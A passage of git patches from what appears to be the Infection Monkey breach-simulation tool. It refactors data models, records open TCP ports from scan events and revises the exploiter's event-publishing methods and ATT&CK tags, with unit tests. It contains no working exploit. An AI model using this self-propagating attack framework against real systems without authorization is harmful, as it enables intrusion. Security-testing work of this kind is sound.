characters. + """ + + UNKNOWN = "unknown" class NetworkPort(ConstrainedInt): From d8cf5d33ddda3448dec00dfafe6b333536866f76 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 Oct 2022 12:29:56 -0400 Subject: [PATCH 037/144] Common: Extract MutableInfectionMonkeyModelConfig --- monkey/common/base_models.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/monkey/common/base_models.py b/monkey/common/base_models.py index c2df68c5f..94e744d3a 100644 --- a/monkey/common/base_models.py +++ b/monkey/common/base_models.py @@ -10,6 +10,11 @@ class InfectionMonkeyModelConfig: extra = Extra.forbid +class MutableInfectionMonkeyModelConfig(InfectionMonkeyModelConfig): + allow_mutation = True + validate_assignment = True + + class InfectionMonkeyBaseModel(BaseModel): class Config(InfectionMonkeyModelConfig): pass @@ -47,6 +52,5 @@ class InfectionMonkeyBaseModel(BaseModel): class MutableInfectionMonkeyBaseModel(InfectionMonkeyBaseModel): - class Config(InfectionMonkeyModelConfig): - allow_mutation = True - validate_assignment = True + class Config(MutableInfectionMonkeyModelConfig): + pass From 8799a60f47e7d4957fd67aa56778ffcdf2ed8549 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 Oct 2022 12:41:42 -0400 Subject: [PATCH 038/144] Island: Fix serialization/deserialization of Machine.network_services --- monkey/monkey_island/cc/models/machine.py | 32 +++++++++++++++-- .../monkey_island/cc/models/test_machine.py | 36 ++++++++++++++++++- vulture_allowlist.py | 2 ++ 3 files changed, 66 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/models/machine.py b/monkey/monkey_island/cc/models/machine.py index 96fc35e80..a4dfbc982 100644 --- a/monkey/monkey_island/cc/models/machine.py +++ b/monkey/monkey_island/cc/models/machine.py @@ -1,19 +1,45 @@ +import json from ipaddress import IPv4Interface -from typing import Mapping, Optional, Sequence +from typing import Any, Dict, Mapping, Optional, Sequence from pydantic import Field, validator from common import OperatingSystem -from common.base_models import MutableInfectionMonkeyBaseModel +from common.base_models import MutableInfectionMonkeyBaseModel, MutableInfectionMonkeyModelConfig from common.transforms import make_immutable_sequence from common.types import HardwareID, NetworkService, SocketAddress from . import MachineID +def _serialize_network_services(machine_dict: Dict, *, default): + machine_dict["network_services"] = { + str(addr): val for addr, val in machine_dict["network_services"].items() + } + return json.dumps(machine_dict, default=default) + + class Machine(MutableInfectionMonkeyBaseModel): """Represents machines, VMs, or other network nodes discovered by Infection Monkey""" + class Config(MutableInfectionMonkeyModelConfig): + json_dumps = _serialize_network_services + + @validator("network_services", pre=True) + def _socketaddress_from_string(cls, v: Any) -> Any: + if not isinstance(v, Mapping): + # Let pydantic's type validation handle this + return v + + new_network_services = {} + for addr, service in v.items(): + if isinstance(addr, SocketAddress): + new_network_services[addr] = service + else: + new_network_services[SocketAddress.from_string(addr)] = service + + return new_network_services + id: MachineID = Field(..., allow_mutation=False) """Uniquely identifies the machine within the island""" @@ -35,7 +61,7 @@ class Machine(MutableInfectionMonkeyBaseModel): hostname: str = "" """The hostname of the machine""" - network_services: Mapping[SocketAddress, NetworkService] + network_services: Mapping[SocketAddress, NetworkService] = Field(default_factory=dict) """All network services found running on the machine""" _make_immutable_sequence = validator("network_interfaces", pre=True, allow_reuse=True)( diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/test_machine.py b/monkey/tests/unit_tests/monkey_island/cc/models/test_machine.py index b63006d35..cecfd6fd5 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/test_machine.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/test_machine.py @@ -6,8 +6,12 @@ from typing import MutableSequence import pytest from common import OperatingSystem +from common.types import NetworkService, SocketAddress from monkey_island.cc.models import Machine +SOCKET_ADDR_1 = "192.168.1.10:5000" +SOCKET_ADDR_2 = "192.168.1.10:8080" + MACHINE_OBJECT_DICT = MappingProxyType( { "id": 1, @@ -17,6 +21,10 @@ MACHINE_OBJECT_DICT = MappingProxyType( "operating_system": OperatingSystem.WINDOWS, "operating_system_version": "eXtra Problems", "hostname": "my.host", + "network_services": { + SocketAddress.from_string(SOCKET_ADDR_1): NetworkService.UNKNOWN, + SocketAddress.from_string(SOCKET_ADDR_2): NetworkService.UNKNOWN, + }, } ) @@ -26,9 +34,13 @@ MACHINE_SIMPLE_DICT = MappingProxyType( "hardware_id": uuid.getnode(), "island": True, "network_interfaces": ["10.0.0.1/24", "192.168.5.32/16"], - "operating_system": "windows", + "operating_system": OperatingSystem.WINDOWS.value, "operating_system_version": "eXtra Problems", "hostname": "my.host", + "network_services": { + SOCKET_ADDR_1: NetworkService.UNKNOWN.value, + SOCKET_ADDR_2: NetworkService.UNKNOWN.value, + }, } ) @@ -60,6 +72,11 @@ def test_to_dict(): ("operating_system", "bsd"), ("operating_system_version", {}), ("hostname", []), + ("network_services", 42), + ("network_services", [SOCKET_ADDR_1]), + ("network_services", None), + ("network_services", {SOCKET_ADDR_1: "Hello"}), + ("network_services", {SocketAddress.from_string(SOCKET_ADDR_1): "Hello"}), ], ) def test_construct_invalid_field__type_error(key, value): @@ -77,6 +94,7 @@ def test_construct_invalid_field__type_error(key, value): ("hardware_id", 0), ("network_interfaces", [1, "stuff", 3]), ("network_interfaces", ["10.0.0.1/16", 2, []]), + ("network_services", {"192.168.": NetworkService.UNKNOWN.value}), ], ) def test_construct_invalid_field__value_error(key, value): @@ -230,3 +248,19 @@ def test_hostname_default_value(): m = Machine(**missing_hostname_dict) assert m.hostname == "" + + +def test_set_network_services_validates(): + m = Machine(**MACHINE_OBJECT_DICT) + + with pytest.raises(ValueError): + m.network_services = {"not-an-ip": NetworkService.UNKNOWN.value} + + +def test_set_network_services_default_value(): + missing_network_services = MACHINE_OBJECT_DICT.copy() + del missing_network_services["network_services"] + + m = Machine(**missing_network_services) + + assert m.network_services == {} diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 0dbb29f50..fc890fd8e 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -343,4 +343,6 @@ CC_TUNNEL # TODO remove when 2267 is done NetworkServiceNameEnum.UNKNOWN Machine.network_services +Machine.config.json_dumps +Machine._socketaddress_from_string Node.tcp_connections From 10e3c97489b9514a49318e2164f35dfd5f390b7d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 Oct 2022 15:09:02 -0400 Subject: [PATCH 039/144] Island: Use Tuple[SocketAddress] for tcp_connections There are serialization issues when using FrozenSet because pydantic converts the SocketAddress to a dict, which is not hashable. There are probably ways to work around this, but it's not worth the effort at thsi time. If performance becomes an issue (doubtful) we can revisit using a frozenset instead. --- monkey/monkey_island/cc/models/node.py | 4 ++-- .../monkey_island/cc/models/test_node.py | 20 ++++++++++++++++--- 2 files changed, 19 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/models/node.py b/monkey/monkey_island/cc/models/node.py index d992d1836..ada8aac19 100644 --- a/monkey/monkey_island/cc/models/node.py +++ b/monkey/monkey_island/cc/models/node.py @@ -1,4 +1,4 @@ -from typing import FrozenSet, Mapping +from typing import FrozenSet, Mapping, Tuple from pydantic import Field from typing_extensions import TypeAlias @@ -26,5 +26,5 @@ class Node(MutableInfectionMonkeyBaseModel): connections: NodeConnections """All outbound connections from this node to other machines""" - tcp_connections: Mapping[MachineID, FrozenSet[SocketAddress]] = {} + tcp_connections: Mapping[MachineID, Tuple[SocketAddress, ...]] = {} """All successfull outbound TCP connections""" diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/test_node.py b/monkey/tests/unit_tests/monkey_island/cc/models/test_node.py index 74a83860c..e50c493ef 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/test_node.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/test_node.py @@ -2,6 +2,7 @@ from typing import MutableSequence import pytest +from common.types import SocketAddress from monkey_island.cc.models import CommunicationType, Node @@ -11,13 +12,21 @@ def test_constructor(): 6: frozenset((CommunicationType.SCANNED,)), 7: frozenset((CommunicationType.SCANNED, CommunicationType.EXPLOITED)), } + tcp_connections = { + 6: tuple( + (SocketAddress(ip="192.168.1.1", port=80), SocketAddress(ip="192.168.1.1", port=443)) + ), + 7: tuple((SocketAddress(ip="192.168.1.2", port=22),)), + } n = Node( - machine_id=1, + machine_id=machine_id, connections=connections, + tcp_connections=tcp_connections, ) assert n.machine_id == machine_id assert n.connections == connections + assert n.tcp_connections == tcp_connections def test_serialization(): @@ -27,9 +36,12 @@ def test_serialization(): "6": [CommunicationType.CC.value, CommunicationType.SCANNED.value], "7": [CommunicationType.EXPLOITED.value, CommunicationType.CC.value], }, + "tcp_connections": { + "6": [{"ip": "192.168.1.1", "port": 80}, {"ip": "192.168.1.1", "port": 443}], + "7": [{"ip": "192.168.1.2", "port": 22}], + }, } - # "6": frozenset((CommunicationType.CC, CommunicationType.SCANNED)), - # "7": frozenset((CommunicationType.EXPLOITED, CommunicationType.CC)), + n = Node(**node_dict) serialized_node = n.dict(simplify=True) @@ -44,6 +56,8 @@ def test_serialization(): for key, value in serialized_node["connections"].items(): assert set(value) == set(node_dict["connections"][key]) + assert serialized_node["tcp_connections"] == node_dict["tcp_connections"] + def test_machine_id_immutable(): n = Node(machine_id=1, connections={}) From 63f869d296961ef8c05ed9612cc987ecc47bf23c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 5 Oct 2022 14:21:23 +0200 Subject: [PATCH 040/144] Project: Add common.tags and HostExploiter publish functions to Vulture --- vulture_allowlist.py | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index a844caddb..b3c0011fc 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -9,7 +9,17 @@ from common.agent_configuration.agent_sub_configurations import ( ) from common.agent_events import ExploitationEvent, PingScanEvent, PropagationEvent, TCPScanEvent from common.credentials import Credentials, LMHash, NTHash +from common.tags import ( + T1021_ATTACK_TECHNIQUE_TAG, + T1105_ATTACK_TECHNIQUE_TAG, + T1110_ATTACK_TECHNIQUE_TAG, + T1203_ATTACK_TECHNIQUE_TAG, + T1210_ATTACK_TECHNIQUE_TAG, + T1222_ATTACK_TECHNIQUE_TAG, + T1570_ATTACK_TECHNIQUE_TAG, +) from common.types import NetworkPort +from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory from monkey_island.cc.event_queue import IslandEventTopic, PyPubSubIslandEventQueue from monkey_island.cc.models import Report @@ -318,6 +328,16 @@ TCPScanEvent.port_status # TODO: Remove once #2269 is close PropagationEvent ExploitationEvent +T1021_ATTACK_TECHNIQUE_TAG +T1105_ATTACK_TECHNIQUE_TAG +T1110_ATTACK_TECHNIQUE_TAG +T1203_ATTACK_TECHNIQUE_TAG +T1210_ATTACK_TECHNIQUE_TAG +T1222_ATTACK_TECHNIQUE_TAG +T1570_ATTACK_TECHNIQUE_TAG +HostExploiter._publish_propagation_event +HostExploiter._publish_exploitation_event + # pydantic base models underscore_attrs_are_private From bbcdc1bef4c41a3190b9c2a580ea89edcfdeeb19 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 5 Oct 2022 14:33:00 +0300 Subject: [PATCH 041/144] Island: Make upsert_node method public Updating/inserting the node into the repository is required outside of repository itself. --- monkey/monkey_island/cc/repository/i_node_repository.py | 8 ++++++++ .../monkey_island/cc/repository/mongo_node_repository.py | 4 ++-- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/repository/i_node_repository.py b/monkey/monkey_island/cc/repository/i_node_repository.py index 53fc53bc9..3738a1eb6 100644 --- a/monkey/monkey_island/cc/repository/i_node_repository.py +++ b/monkey/monkey_island/cc/repository/i_node_repository.py @@ -25,6 +25,14 @@ class INodeRepository(ABC): :raises StorageError: If an error occurs while attempting to upsert the Node """ + @abstractmethod + def upsert_node(self, node: Node): + """ + Store the Node object in the repository by creating a new one or updating an existing one. + :param node: Node that will be saved + :raises StorageError: If an error occurs while attempting to upsert the Node + """ + @abstractmethod def get_nodes(self) -> Sequence[Node]: """ diff --git a/monkey/monkey_island/cc/repository/mongo_node_repository.py b/monkey/monkey_island/cc/repository/mongo_node_repository.py index 9b994d110..447bfe8bb 100644 --- a/monkey/monkey_island/cc/repository/mongo_node_repository.py +++ b/monkey/monkey_island/cc/repository/mongo_node_repository.py @@ -34,7 +34,7 @@ class MongoNodeRepository(INodeRepository): node, dst, communication_type ) - self._upsert_node(updated_node) + self.upsert_node(updated_node) @staticmethod def _add_connection_to_node( @@ -50,7 +50,7 @@ class MongoNodeRepository(INodeRepository): return new_node - def _upsert_node(self, node: Node): + def upsert_node(self, node: Node): try: result = self._nodes_collection.replace_one( {SRC_FIELD_NAME: node.machine_id}, node.dict(simplify=True), upsert=True From 6c913895c56014dc6e815e269e722321ab48b7fb Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 5 Oct 2022 14:46:47 +0300 Subject: [PATCH 042/144] Island: Add TCP connections to nodes based on TCP scan event --- .../scan_event_handler.py | 33 +++++++- .../test_scan_event_handler.py | 77 ++++++++++++++++--- 2 files changed, 96 insertions(+), 14 deletions(-) diff --git a/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py b/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py index 0eac3637c..1800eb737 100644 --- a/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py +++ b/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py @@ -1,12 +1,13 @@ +from copy import deepcopy from ipaddress import IPv4Interface from logging import getLogger from typing import Union from typing_extensions import TypeAlias -from common.agent_events import PingScanEvent, TCPScanEvent -from common.types import PortStatus -from monkey_island.cc.models import CommunicationType, Machine +from common.agent_events import AbstractAgentEvent, PingScanEvent, TCPScanEvent +from common.types import PortStatus, SocketAddress +from monkey_island.cc.models import CommunicationType, Machine, Node from monkey_island.cc.repository import ( IAgentRepository, IMachineRepository, @@ -56,11 +57,22 @@ class ScanEventHandler: try: target_machine = self._get_target_machine(event) + source_node = self._get_source_node(event) self._update_nodes(target_machine, event) + self._update_tcp_connections(source_node, target_machine, event) except (RetrievalError, StorageError, UnknownRecordError): logger.exception("Unable to process tcp scan data") + def _get_source_node(self, event: AbstractAgentEvent) -> Node: + machine = self._get_source_machine(event) + try: + return [ + node for node in self._node_repository.get_nodes() if node.machine_id == machine.id + ][0] + except KeyError: + raise UnknownRecordError(f"Source node for event {event} does not exist") + def _get_target_machine(self, event: ScanEvent) -> Machine: try: target_machines = self._machine_repository.get_machines_by_ip(event.target) @@ -85,6 +97,21 @@ class ScanEventHandler: src_machine.id, target_machine.id, CommunicationType.SCANNED ) + def _update_tcp_connections(self, src_node: Node, target_machine: Machine, event: TCPScanEvent): + node_connections = dict(deepcopy(src_node.tcp_connections)) + try: + machine_connections = set(node_connections[target_machine.id]) + except KeyError: + machine_connections = set() + open_ports = [port for port, status in event.ports.items() if status == PortStatus.OPEN] + for open_port in open_ports: + socket_address = SocketAddress(ip=event.target, port=open_port) + machine_connections.add(socket_address) + + node_connections[target_machine.id] = tuple(machine_connections) + src_node.tcp_connections = node_connections + self._node_repository.upsert_node(src_node) + def _get_source_machine(self, event: ScanEvent) -> Machine: agent = self._agent_repository.get_agent_by_id(event.source) return self._machine_repository.get_machine_by_id(agent.machine_id) diff --git a/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py b/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py index ad1ced7fa..f6832b788 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py +++ b/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py @@ -1,3 +1,4 @@ +from copy import deepcopy from ipaddress import IPv4Address, IPv4Interface from itertools import count from unittest.mock import MagicMock @@ -9,7 +10,7 @@ from common import OperatingSystem from common.agent_events import PingScanEvent, TCPScanEvent from common.types import PortStatus, SocketAddress from monkey_island.cc.agent_event_handlers import ScanEventHandler -from monkey_island.cc.models import Agent, CommunicationType, Machine +from monkey_island.cc.models import Agent, CommunicationType, Machine, Node from monkey_island.cc.repository import ( IAgentRepository, IMachineRepository, @@ -29,43 +30,74 @@ SOURCE_MACHINE = Machine( hardware_id=5, network_interfaces=[IPv4Interface("10.10.10.99/24")], ) + +TARGET_MACHINE_ID = 33 +TARGET_MACHINE_IP = "10.10.10.1" TARGET_MACHINE = Machine( - id=33, + id=TARGET_MACHINE_ID, hardware_id=9, - network_interfaces=[IPv4Interface("10.10.10.1/24")], + network_interfaces=[IPv4Interface(f"{TARGET_MACHINE_IP}/24")], +) + +SOURCE_NODE = Node( + machine_id=SOURCE_MACHINE.id, + connections=[], + tcp_connections={ + 44: (SocketAddress(ip="1.1.1.1", port=40), SocketAddress(ip="2.2.2.2", port=50)) + }, +) + +SOURCE_NODE_2 = Node( + machine_id=SOURCE_MACHINE.id, + connections=[], + tcp_connections={ + 44: (SocketAddress(ip="1.1.1.1", port=40), SocketAddress(ip="2.2.2.2", port=50)), + TARGET_MACHINE_ID: (SocketAddress(ip=TARGET_MACHINE_IP, port=22),), + }, +) + +EXPECTED_NODE = Node( + machine_id=SOURCE_MACHINE.id, + connections=[], + tcp_connections={ + 44: (SocketAddress(ip="1.1.1.1", port=40), SocketAddress(ip="2.2.2.2", port=50)), + TARGET_MACHINE_ID: ( + SocketAddress(ip=TARGET_MACHINE_IP, port=22), + SocketAddress(ip=TARGET_MACHINE_IP, port=80), + ), + }, ) PING_SCAN_EVENT = PingScanEvent( source=AGENT_ID, - target=IPv4Address("10.10.10.1"), + target=IPv4Address(TARGET_MACHINE_IP), response_received=True, os=OperatingSystem.LINUX, ) PING_SCAN_EVENT_NO_RESPONSE = PingScanEvent( source=AGENT_ID, - target=IPv4Address("10.10.10.1"), + target=IPv4Address(TARGET_MACHINE_IP), response_received=False, os=OperatingSystem.LINUX, ) PING_SCAN_EVENT_NO_OS = PingScanEvent( source=AGENT_ID, - target=IPv4Address("10.10.10.1"), + target=IPv4Address(TARGET_MACHINE_IP), response_received=True, os=None, ) - TCP_SCAN_EVENT = TCPScanEvent( source=AGENT_ID, - target=IPv4Address("10.10.10.1"), - ports={22: PortStatus.OPEN, 8080: PortStatus.CLOSED}, + target=IPv4Address(TARGET_MACHINE_IP), + ports={22: PortStatus.OPEN, 80: PortStatus.OPEN, 8080: PortStatus.CLOSED}, ) TCP_SCAN_EVENT_CLOSED = TCPScanEvent( source=AGENT_ID, - target=IPv4Address("10.10.10.1"), + target=IPv4Address(TARGET_MACHINE_IP), ports={145: PortStatus.CLOSED, 8080: PortStatus.CLOSED}, ) @@ -91,6 +123,8 @@ def machine_repository() -> IMachineRepository: @pytest.fixture def node_repository() -> INodeRepository: node_repository = MagicMock(spec=INodeRepository) + node_repository.get_nodes.return_value = [deepcopy(SOURCE_NODE)] + node_repository.upsert_node = MagicMock() node_repository.upsert_communication = MagicMock() return node_repository @@ -103,7 +137,7 @@ def scan_event_handler(agent_repository, machine_repository, node_repository): MACHINES_BY_ID = {MACHINE_ID: SOURCE_MACHINE, TARGET_MACHINE.id: TARGET_MACHINE} MACHINES_BY_IP = { IPv4Address("10.10.10.99"): [SOURCE_MACHINE], - IPv4Address("10.10.10.1"): [TARGET_MACHINE], + IPv4Address(TARGET_MACHINE_IP): [TARGET_MACHINE], } @@ -186,6 +220,27 @@ def test_tcp_scan_event_target_machine_not_exists( machine_repository.upsert_machine.assert_called_with(expected_machine) +def test_handle_tcp_scan_event__tcp_connections( + scan_event_handler, machine_repository, node_repository +): + event = TCP_SCAN_EVENT + scan_event_handler._update_nodes = MagicMock() + scan_event_handler.handle_tcp_scan_event(event) + + node_repository.upsert_node.assert_called_with(EXPECTED_NODE) + + +def test_handle_tcp_scan_event__tcp_connections_upsert( + scan_event_handler, machine_repository, node_repository +): + event = TCP_SCAN_EVENT + node_repository.get_nodes.return_value = [deepcopy(SOURCE_NODE_2)] + scan_event_handler._update_nodes = MagicMock() + scan_event_handler.handle_tcp_scan_event(event) + + node_repository.upsert_node.assert_called_with(EXPECTED_NODE) + + @pytest.mark.parametrize( "event,handler", [(PING_SCAN_EVENT, HANDLE_PING_SCAN_METHOD), (TCP_SCAN_EVENT, HANDLE_TCP_SCAN_METHOD)], From 249950d602b28bfc9874dbf7d5329dad2fdc789b Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 5 Oct 2022 17:07:19 +0300 Subject: [PATCH 043/144] Island: Improve tcp handler code and coverage --- .../scan_event_handler.py | 7 ++---- .../test_scan_event_handler.py | 22 +++++++++++++++++-- 2 files changed, 22 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py b/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py index 1800eb737..6f3a7030f 100644 --- a/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py +++ b/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py @@ -70,7 +70,7 @@ class ScanEventHandler: return [ node for node in self._node_repository.get_nodes() if node.machine_id == machine.id ][0] - except KeyError: + except IndexError: raise UnknownRecordError(f"Source node for event {event} does not exist") def _get_target_machine(self, event: ScanEvent) -> Machine: @@ -99,10 +99,7 @@ class ScanEventHandler: def _update_tcp_connections(self, src_node: Node, target_machine: Machine, event: TCPScanEvent): node_connections = dict(deepcopy(src_node.tcp_connections)) - try: - machine_connections = set(node_connections[target_machine.id]) - except KeyError: - machine_connections = set() + machine_connections = set(node_connections.get(target_machine.id, set())) open_ports = [port for port, status in event.ports.items() if status == PortStatus.OPEN] for open_port in open_ports: socket_address = SocketAddress(ip=event.target, port=open_port) diff --git a/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py b/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py index f6832b788..160d00ae1 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py +++ b/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py @@ -227,7 +227,10 @@ def test_handle_tcp_scan_event__tcp_connections( scan_event_handler._update_nodes = MagicMock() scan_event_handler.handle_tcp_scan_event(event) - node_repository.upsert_node.assert_called_with(EXPECTED_NODE) + node_passed = node_repository.upsert_node.call_args[0][0] + assert set(node_passed.tcp_connections[TARGET_MACHINE_ID]) == set( + EXPECTED_NODE.tcp_connections[TARGET_MACHINE_ID] + ) def test_handle_tcp_scan_event__tcp_connections_upsert( @@ -238,7 +241,22 @@ def test_handle_tcp_scan_event__tcp_connections_upsert( scan_event_handler._update_nodes = MagicMock() scan_event_handler.handle_tcp_scan_event(event) - node_repository.upsert_node.assert_called_with(EXPECTED_NODE) + node_passed = node_repository.upsert_node.call_args[0][0] + assert set(node_passed.tcp_connections[TARGET_MACHINE_ID]) == set( + EXPECTED_NODE.tcp_connections[TARGET_MACHINE_ID] + ) + + +def test_handle_tcp_scan_event__no_source( + caplog, scan_event_handler, machine_repository, node_repository +): + event = TCP_SCAN_EVENT + node_repository.get_nodes.return_value = [] + scan_event_handler._update_nodes = MagicMock() + + scan_event_handler.handle_tcp_scan_event(event) + assert "ERROR" in caplog.text + assert f"Source node for event {event} does not exist" in caplog.text @pytest.mark.parametrize( From 95b1d9c62dfeb2ce33b4a8396e3c4caaf5349598 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 15:57:15 +0000 Subject: [PATCH 044/144] Agent: Remove target from publish methods --- monkey/infection_monkey/exploit/HostExploiter.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 915a8c50e..1327fd26d 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -130,14 +130,13 @@ class HostExploiter: def _publish_exploitation_event( self, - target: str, exploitation_success: bool, tags: Tuple[str, ...] = tuple(), error_message: str = "", ): exploitation_event = ExploitationEvent( source=get_agent_id(), - target=IPv4Address(target), + target=IPv4Address(self.host.ip_addr), success=exploitation_success, exploiter_name=self.__class__.__name__, error_message=error_message, @@ -147,14 +146,13 @@ class HostExploiter: def _publish_propagation_event( self, - target: str, propagation_success: bool, tags: Tuple[str, ...] = tuple(), error_message: str = "", ): propagation_event = PropagationEvent( source=get_agent_id(), - target=IPv4Address(target), + target=IPv4Address(self.host.ip_addr), success=propagation_success, exploiter_name=self.__class__.__name__, error_message=error_message, From 12e9aaf42e12249087af91a0494b5f7660938b3a Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 17:32:48 +0000 Subject: [PATCH 045/144] Agent: Add abstract properties for exploiter tags --- monkey/infection_monkey/exploit/HostExploiter.py | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 1327fd26d..a6d53a02f 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -24,6 +24,16 @@ class HostExploiter: def _EXPLOITED_SERVICE(self): pass + @property + @abstractmethod + def _exploiter_tags(self) -> Tuple[str, ...]: + pass + + @property + @abstractmethod + def _propagation_tags(self) -> Tuple[str, ...]: + pass + def __init__(self): self.exploit_info = { "display_name": self._EXPLOITED_SERVICE, @@ -140,7 +150,7 @@ class HostExploiter: success=exploitation_success, exploiter_name=self.__class__.__name__, error_message=error_message, - tags=frozenset(tags), + tags=frozenset(tags or self._exploiter_tags), ) self.agent_event_queue.publish(exploitation_event) @@ -156,6 +166,6 @@ class HostExploiter: success=propagation_success, exploiter_name=self.__class__.__name__, error_message=error_message, - tags=frozenset(tags), + tags=frozenset(tags or self._propagation_tags), ) self.agent_event_queue.publish(propagation_event) From 254b4e1c6cec17f9fd73729813225e249e5335ad Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 19:43:25 +0000 Subject: [PATCH 046/144] Agent: Update publish methods to accept timestamp --- monkey/infection_monkey/exploit/HostExploiter.py | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index a6d53a02f..c584cf828 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -3,6 +3,7 @@ import threading from abc import abstractmethod from datetime import datetime from ipaddress import IPv4Address +from time import time from typing import Dict, Sequence, Tuple from common.agent_events import ExploitationEvent, PropagationEvent @@ -140,32 +141,36 @@ class HostExploiter: def _publish_exploitation_event( self, - exploitation_success: bool, + time: float = time(), + success: bool = False, tags: Tuple[str, ...] = tuple(), error_message: str = "", ): exploitation_event = ExploitationEvent( source=get_agent_id(), target=IPv4Address(self.host.ip_addr), - success=exploitation_success, + success=success, exploiter_name=self.__class__.__name__, error_message=error_message, + timestamp=time, tags=frozenset(tags or self._exploiter_tags), ) self.agent_event_queue.publish(exploitation_event) def _publish_propagation_event( self, - propagation_success: bool, + time: float = time(), + success: bool = False, tags: Tuple[str, ...] = tuple(), error_message: str = "", ): propagation_event = PropagationEvent( source=get_agent_id(), target=IPv4Address(self.host.ip_addr), - success=propagation_success, + success=success, exploiter_name=self.__class__.__name__, error_message=error_message, + timestamp=time, tags=frozenset(tags or self._propagation_tags), ) self.agent_event_queue.publish(propagation_event) From e2453e481c85c04951d0c639f0bc7c9d466f9ced Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 6 Oct 2022 16:13:38 +0530 Subject: [PATCH 047/144] Agent: Rename variables in HostExploiter --- monkey/infection_monkey/exploit/HostExploiter.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index c584cf828..f3c69f061 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -27,12 +27,12 @@ class HostExploiter: @property @abstractmethod - def _exploiter_tags(self) -> Tuple[str, ...]: + def _EXPLOITER_TAGS(self) -> Tuple[str, ...]: pass @property @abstractmethod - def _propagation_tags(self) -> Tuple[str, ...]: + def _PROPAGATION_TAGS(self) -> Tuple[str, ...]: pass def __init__(self): @@ -153,7 +153,7 @@ class HostExploiter: exploiter_name=self.__class__.__name__, error_message=error_message, timestamp=time, - tags=frozenset(tags or self._exploiter_tags), + tags=frozenset(tags or self._EXPLOITER_TAGS), ) self.agent_event_queue.publish(exploitation_event) @@ -171,6 +171,6 @@ class HostExploiter: exploiter_name=self.__class__.__name__, error_message=error_message, timestamp=time, - tags=frozenset(tags or self._propagation_tags), + tags=frozenset(tags or self._PROPAGATION_TAGS), ) self.agent_event_queue.publish(propagation_event) From 2248bdcd67bb38561102b613f8c4718a3c57a241 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 6 Oct 2022 14:10:47 +0300 Subject: [PATCH 048/144] Island: Add _get_node_by_id method to mongo_node_repository.py --- .../cc/repository/mongo_node_repository.py | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/repository/mongo_node_repository.py b/monkey/monkey_island/cc/repository/mongo_node_repository.py index 447bfe8bb..8543d5e21 100644 --- a/monkey/monkey_island/cc/repository/mongo_node_repository.py +++ 